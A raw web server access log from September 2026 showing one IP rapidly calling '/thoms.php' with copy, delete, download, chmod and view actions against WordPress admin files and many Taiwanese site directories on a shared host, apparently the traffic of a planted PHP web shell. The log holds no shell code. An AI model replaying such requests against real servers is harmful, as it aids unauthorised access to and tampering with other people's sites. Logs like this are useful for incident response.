45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?del=options-discussion.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?dl=media.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /bossini.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?dl=moderation.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?chmod=press-this.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?chmod=maint&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=maint&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:37 -0400] "GET /thoms.php?chmod=install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?chmod=nav-menus.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 200 15466 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?del=ms-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29021 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?dl=user-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /bossini.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?del=contribute.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /bossini.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?del=theme-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29012 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /bossini.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 200 15636 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /bossini.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 200 13461 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-connectors.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:38 -0400] "GET /bossini.com.tw/wp-admin/font-library.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /thoms.php?dl=setup-config.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /thoms.php?chmod=ms-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /thoms.php?dl=credits.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /bossini.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /thoms.php?del=users.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=users.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /thoms.php?del=authorize-application.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /thoms.php?dl=menu.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:39 -0400] "GET /bossini.com.tw/wp-admin/images/ HTTP/1.1" 200 3230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?chmod=options-general.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 200 14283 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?del=ms-themes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 200 13982 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?del=privacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /bossini.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?del=async-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /bossini.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?chmod=options-media.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /bossini.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:40 -0400] "GET /thoms.php?del=site-health-info.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?dl=themes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 200 18799 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ftools.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ftools.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:41 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22116 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22106 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 200 11341 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22118 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:42 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
